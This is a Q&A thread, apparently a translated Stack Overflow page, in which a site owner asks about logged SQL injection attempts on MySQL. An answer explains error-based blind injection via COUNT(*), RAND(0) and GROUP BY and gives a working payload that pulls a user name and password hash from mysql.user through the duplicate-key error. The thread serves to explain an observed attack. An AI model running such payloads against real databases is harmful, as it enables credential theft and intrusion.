Ali*_*Ali 12 mysql security sql-injection
我在我的网站上检测到一些失败的SQL注入攻击.失败的查询格式如下:
SELECT 6106 FROM(SELECT COUNT(*),':sjw:1:ukt:1'x FROM information_schema.tables GROUP BY x)
该':sjw:1:ukt:1'部分是专门构造的变量连接在一起,给出随机0或1等.
我想知道这些查询是做什么的?
数据库是MySQL.
更新:这是原始注入的SQL:
(SELECT 6106
FROM (SELECT COUNT(*),
CONCAT(
CHAR(58, 115, 106, 119, 58),
(SELECT ( CASE WHEN ( 6106 = 6106 ) THEN 1 ELSE 0 END )),
CHAR(58, 117, 107, 116, 58),
FLOOR(RAND(0) * 2)
) x
FROM INFORMATION_SCHEMA.TABLES
GROUP BY x)a)
Run Code Online (Sandbox Code Playgroud)
它失败了,留言
密钥'group_key'重复输入':sjw:1:ukt:1'
int*_*tgr 21
其他回答者错过了关于这次攻击的细微而巧妙的细节.请注意错误消息Duplicate entry ':sjw:1:ukt:1' for key 'group_key'.该字符串:sjw:1:ukt:1实际上是MySQL服务器评估的表达式的结果.如果您的应用程序将MySQL错误字符串发送回浏览器,则错误消息可能会泄漏数据库中的数据.
这种攻击用于查询结果未以其他方式发送回浏览器的情况(盲SQL注入),或者传统的UNION SELECT攻击很难实现.它也适用于INSERT/UPDATE/DELETE查询.
正如Hawili指出的那样,最初的特定查询不会泄露任何信息,它只是一个测试,看看你的应用程序是否容易受到这种注入.
攻击没有像MvG建议的那样失败,导致此错误是查询的目的.
如何使用它的更好的例子:
> SELECT COUNT(*),CONCAT((SELECT CONCAT(user,password) FROM mysql.user LIMIT 1),
> 0x20, FLOOR(RAND(0)*2)) x
> FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key 'group_key'
Run Code Online (Sandbox Code Playgroud)
为什么查询在MySQL中导致此错误对我来说有点神秘.它看起来像是一个MySQL错误,因为GROUP BY应该通过聚合来处理重复的条目.事实上,Hawili对查询的简化并没有导致错误!
该表达式FLOOR(RAND(0)*2)基于随机种子参数0按顺序给出以下结果:
> SELECT FLOOR(RAND(0)*2)x FROM information_schema.tables;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 | <-- error happens here
| 0 |
| 1 |
| 1 |
...
Run Code Online (Sandbox Code Playgroud)
因为第3个值是第2个值的副本,所以抛出此错误.可以使用任何至少有3行的FROM表,但是information_schema.tables是常见的.引用MySQL中的错误需要COUNT(*)和GROUP BY部分:
> SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
Run Code Online (Sandbox Code Playgroud)
PostgreSQL等效查询中不会发生此错误:
# SELECT SETSEED(0);
# SELECT COUNT(*),FLOOR(RANDOM()*2)x FROM information_schema.tables GROUP BY x;
count | x
-------+---
83 | 0
90 | 1
Run Code Online (Sandbox Code Playgroud)
(很抱歉回答迟了1年,但我今天偶然发现了这个问题.这个问题对我很有意思,因为我不知道有什么方法可以通过MySQL的错误消息泄漏数据)
| 归档时间: |
|
| 查看次数: |
7073 次 |
| 最近记录: |